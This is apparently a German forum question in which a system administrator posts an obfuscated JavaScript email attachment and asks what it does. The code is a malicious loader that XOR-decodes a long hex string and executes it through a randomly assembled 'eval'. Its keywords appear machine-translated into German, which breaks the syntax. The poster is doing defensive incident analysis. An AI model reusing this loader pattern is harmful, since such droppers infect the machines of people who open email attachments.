Ich bin ein Systemadministrator und einer meiner Benutzer hat mir gerade gesagt, dass er ein per E-Mail empfangenes JavaScript geöffnet hat. Anscheinend gibt es keine Auswirkungen, aber da ich diese Sprache nicht gut kenne, insbesondere wenn sie verschleiert ist, bitte ich um Hilfe.
Hier ist der Code:
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"F8139b5820c8d20dcc60bf46ccfc38d9a3eb0839ebb29d6465e3a77e6e31cc831a542be9329ad138e9908db22da0d38f332da1664fea2af6839a8b22c852fd0238d9a25a2723b3e22af36cbf464da328b682df8e38cd72df7160ef96cc1029e5b3ee6a3ee0023b343ec7965f316cf0f37b6525b442afa46cc9864a7c6df6729b993edfe3eab223a8b3eeb265bf537cae3fde92da2f3aed529b3c18eaa23fb718edf29fc021f183ca8264e3228c542dc4138d932dc7c60a496cc362acd339e0422c0b2fd0d38d1325f7623f1f22e856cf9964b1b3cd692df5238aab24f3560dc66cf0b29a8c3ee743eb3c23f8c3ec2265af76cae237eb425b612ad2a6cb4364a496db8b29a533efc53eec423be33ecdf65d1537d9638bc03ecdc35a2537f203aed62dbc33ec126cd7f3bc1f3ffa824a146cf8271d836cf3522c2329f5f3beae6ce470deb72ff8238b0225d593add129f0414ae503ab92ea9426a8729c632ff3038e7364ee86ed951bd5f1ff5f2fe803ed9325f003caee38bc362eb01faa924d3229fa620f6a20d636ebdb65c9577ea53bed23fabc24fb762b491eb1439fc022c7f64d0b3cbf42dcff38fdb24ff865da477ed831d492ffd52db4a38bb52fee424b726ca3e64fef29b993ec973ee1023cc83ef2a65c676cf5637e8c31e0f31e7f31fb765c3f77f2e31b9b31f4d65ca377"; var uumod; while (true) {try {uumod = (neue Funktion ("fgwus", "var ccuru = fgwus.match (/ \\ S {5} / g), tgrdm =" \ ", ikkne = 0; while (ikkne<ccuru) Länge) {tgrdm + = String.fromCharCode (parseInt (ccuru [ikkne] .substr (3,2), 16) ^ 76); ikkne ++;} "+ tljsw () + tljsw () + tljsw () + tljsw () + "(tgrdm);") (abisr)); brechen; } catch (er) {}} return uumod;} function tljsw () {var vqqfn = neues Array ("e", "v", "l", "a"); return vqqfn [Math.floor (Math.random () * vqqfn.length)];} zxylv ();
Kann mir jemand sagen, was dieser Code tut?